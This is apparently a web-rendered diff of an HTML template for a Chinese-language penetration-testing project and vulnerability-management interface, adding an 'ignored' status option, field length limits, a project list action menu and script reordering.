||||||
|
<span id="projects-detail-status" class="projects-status-pill projects-status-pill--active" data-i18n="projects.statusActive">进行中</span>
|
||||||
|
</div>
|
||||||
|
<div class="projects-detail-stats" id="projects-detail-stats">
|
||||||
|
<span class="projects-stat-chip projects-stat-chip--facts" id="project-stat-facts">0 条事实</span>
|
||||||
|
<span class="projects-stat-chip projects-stat-chip--vulns" id="project-stat-vulns">0 个漏洞</span>
|
||||||
|
<span class="projects-stat-chip projects-stat-chip--conversations" id="project-stat-conversations">0 个对话</span>
|
||||||
|
<span class="projects-stat-chip projects-stat-chip--warn" id="project-stat-sparse" hidden>0 待补全</span>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<p id="projects-detail-meta" class="projects-detail-meta"></p>
|
<p id="projects-detail-meta" class="projects-detail-meta"></p>
|
||||||
<p id="projects-detail-desc" class="projects-detail-desc"></p>
|
<p id="projects-detail-desc" class="projects-detail-desc" hidden></p>
|
||||||
<div class="projects-detail-stats" id="projects-detail-stats">
|
|
||||||
<span class="projects-stat-chip" id="project-stat-facts">0 条事实</span>
|
|
||||||
<span class="projects-stat-chip" id="project-stat-vulns">0 个漏洞</span>
|
|
||||||
<span class="projects-stat-chip" id="project-stat-conversations">0 个对话</span>
|
|
||||||
<span class="projects-stat-chip projects-stat-chip--warn" id="project-stat-sparse" hidden>0 待补全</span>
|
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
<div class="projects-detail-header-actions">
|
<div class="projects-detail-header-actions">
|
||||||
<button type="button" class="btn-secondary btn-small" onclick="openVulnerabilitiesForProject()" data-i18n="projects.vulnerabilityManagement">漏洞管理</button>
|
<button type="button" class="btn-secondary btn-small" onclick="openVulnerabilitiesForProject()" data-i18n="projects.vulnerabilityManagement">漏洞管理</button>
|
||||||
@@ -1613,6 +1616,7 @@
|
|||||||
<option value="confirmed" data-i18n="vulnerabilityPage.statusConfirmed">已确认</option>
|
<option value="confirmed" data-i18n="vulnerabilityPage.statusConfirmed">已确认</option>
|
||||||
<option value="fixed" data-i18n="vulnerabilityPage.statusFixed">已修复</option>
|
<option value="fixed" data-i18n="vulnerabilityPage.statusFixed">已修复</option>
|
||||||
<option value="false_positive" data-i18n="vulnerabilityPage.statusFalsePositive">误报</option>
|
<option value="false_positive" data-i18n="vulnerabilityPage.statusFalsePositive">误报</option>
|
||||||
|
<option value="ignored" data-i18n="vulnerabilityPage.statusIgnored">已忽略</option>
|
||||||
</select>
|
</select>
|
||||||
</label>
|
</label>
|
||||||
</div>
|
</div>
|
||||||
@@ -1668,7 +1672,8 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="projects-form-field">
|
<div class="projects-form-field">
|
||||||
<label for="project-edit-description" data-i18n="projects.projectDescription">描述</label>
|
<label for="project-edit-description" data-i18n="projects.projectDescription">描述</label>
|
||||||
<textarea id="project-edit-description" class="form-input" rows="3" placeholder="测试目标、授权范围、联系人、注意事项…" data-i18n="projects.editDescriptionPlaceholder" data-i18n-attr="placeholder"></textarea>
|
<textarea id="project-edit-description" class="form-input projects-description-textarea" rows="3" maxlength="4000" placeholder="测试目标、授权范围、联系人、注意事项…" data-i18n="projects.editDescriptionPlaceholder" data-i18n-attr="placeholder"></textarea>
|
||||||
|
<small class="form-hint" data-i18n="projects.descriptionLengthHint">简要说明即可(最多 4000 字);大段日志/POC 请写入事实黑板 body</small>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</section>
|
</section>
|
||||||
@@ -1811,6 +1816,7 @@
|
|||||||
<option value="confirmed" data-i18n="vulnerabilityPage.statusConfirmed">已确认</option>
|
<option value="confirmed" data-i18n="vulnerabilityPage.statusConfirmed">已确认</option>
|
||||||
<option value="fixed" data-i18n="vulnerabilityPage.statusFixed">已修复</option>
|
<option value="fixed" data-i18n="vulnerabilityPage.statusFixed">已修复</option>
|
||||||
<option value="false_positive" data-i18n="vulnerabilityPage.statusFalsePositive">误报</option>
|
<option value="false_positive" data-i18n="vulnerabilityPage.statusFalsePositive">误报</option>
|
||||||
|
<option value="ignored" data-i18n="vulnerabilityPage.statusIgnored">已忽略</option>
|
||||||
</select>
|
</select>
|
||||||
</label>
|
</label>
|
||||||
<div class="vulnerability-filter-actions">
|
<div class="vulnerability-filter-actions">
|
||||||
@@ -3775,6 +3781,20 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<!-- 项目列表操作菜单 -->
|
||||||
|
<div id="projects-list-action-menu" class="context-menu" style="display: none;" role="menu">
|
||||||
|
<div id="projects-list-menu-edit" class="context-menu-item" onclick="editProjectFromListMenu()">
|
||||||
|
<span id="projects-list-menu-edit-text"></span>
|
||||||
|
</div>
|
||||||
|
<div id="projects-list-menu-archive" class="context-menu-item" onclick="toggleProjectArchiveFromListMenu()">
|
||||||
|
<span id="projects-list-menu-archive-text"></span>
|
||||||
|
</div>
|
||||||
|
<div class="context-menu-divider"></div>
|
||||||
|
<div class="context-menu-item context-menu-item-danger" onclick="deleteProjectFromListMenu()">
|
||||||
|
<span id="projects-list-menu-delete-text"></span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
<!-- 新建任务模态框 -->
|
<!-- 新建任务模态框 -->
|
||||||
<div id="batch-import-modal" class="modal">
|
<div id="batch-import-modal" class="modal">
|
||||||
<div class="modal-content" style="max-width: 800px;">
|
<div class="modal-content" style="max-width: 800px;">
|
||||||
@@ -3943,6 +3963,7 @@
|
|||||||
<option value="confirmed" data-i18n="vulnerabilityModal.statusConfirmed">已确认</option>
|
<option value="confirmed" data-i18n="vulnerabilityModal.statusConfirmed">已确认</option>
|
||||||
<option value="fixed" data-i18n="vulnerabilityModal.statusFixed">已修复</option>
|
<option value="fixed" data-i18n="vulnerabilityModal.statusFixed">已修复</option>
|
||||||
<option value="false_positive" data-i18n="vulnerabilityModal.statusFalsePositive">误报</option>
|
<option value="false_positive" data-i18n="vulnerabilityModal.statusFalsePositive">误报</option>
|
||||||
|
<option value="ignored" data-i18n="vulnerabilityModal.statusIgnored">已忽略</option>
|
||||||
</select>
|
</select>
|
||||||
</div>
|
</div>
|
||||||
<div class="form-group">
|
<div class="form-group">
|
||||||
@@ -4152,11 +4173,12 @@
|
|||||||
<div class="projects-modal-body">
|
<div class="projects-modal-body">
|
||||||
<div class="projects-form-field">
|
<div class="projects-form-field">
|
||||||
<label for="project-modal-name" data-i18n="projects.projectName">项目名称 <span class="required">*</span></label>
|
<label for="project-modal-name" data-i18n="projects.projectName">项目名称 <span class="required">*</span></label>
|
||||||
<input type="text" id="project-modal-name" class="form-input" placeholder="例如:某客户 Web 渗透" autocomplete="off" data-i18n="projects.projectNamePlaceholder" data-i18n-attr="placeholder">
|
<input type="text" id="project-modal-name" class="form-input" maxlength="200" placeholder="例如:某客户 Web 渗透" autocomplete="off" data-i18n="projects.projectNamePlaceholder" data-i18n-attr="placeholder">
|
||||||
</div>
|
</div>
|
||||||
<div class="projects-form-field">
|
<div class="projects-form-field">
|
||||||
<label for="project-modal-description" data-i18n="projects.projectDescription">项目描述</label>
|
<label for="project-modal-description" data-i18n="projects.projectDescription">项目描述</label>
|
||||||
<textarea id="project-modal-description" class="form-input" rows="4" placeholder="测试范围、授权边界、注意事项…" data-i18n="projects.projectDescriptionPlaceholder" data-i18n-attr="placeholder"></textarea>
|
<textarea id="project-modal-description" class="form-input projects-description-textarea" rows="4" maxlength="4000" placeholder="测试范围、授权边界、注意事项…" data-i18n="projects.projectDescriptionPlaceholder" data-i18n-attr="placeholder"></textarea>
|
||||||
|
<small class="form-hint" data-i18n="projects.descriptionLengthHint">简要说明即可(最多 4000 字);大段日志/POC 请写入事实黑板 body</small>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="projects-modal-footer">
|
<div class="projects-modal-footer">
|
||||||
@@ -4269,9 +4291,9 @@
|
|||||||
<script src="/static/js/i18n.js"></script>
|
<script src="/static/js/i18n.js"></script>
|
||||||
<script src="/static/js/builtin-tools.js"></script>
|
<script src="/static/js/builtin-tools.js"></script>
|
||||||
<script src="/static/js/auth.js"></script>
|
<script src="/static/js/auth.js"></script>
|
||||||
|
<script src="/static/js/modal.js"></script>
|
||||||
<script src="/static/js/notifications.js"></script>
|
<script src="/static/js/notifications.js"></script>
|
||||||
<script src="/static/js/info-collect.js"></script>
|
<script src="/static/js/info-collect.js"></script>
|
||||||
<script src="/static/js/router.js"></script>
|
|
||||||
<script src="/static/js/agents.js"></script>
|
<script src="/static/js/agents.js"></script>
|
||||||
<script src="/static/js/dashboard.js"></script>
|
<script src="/static/js/dashboard.js"></script>
|
||||||
<script src="/static/js/chat-scroll.js"></script>
|
<script src="/static/js/chat-scroll.js"></script>
|
||||||
|
|||||||
Reference in New Issue
Block a user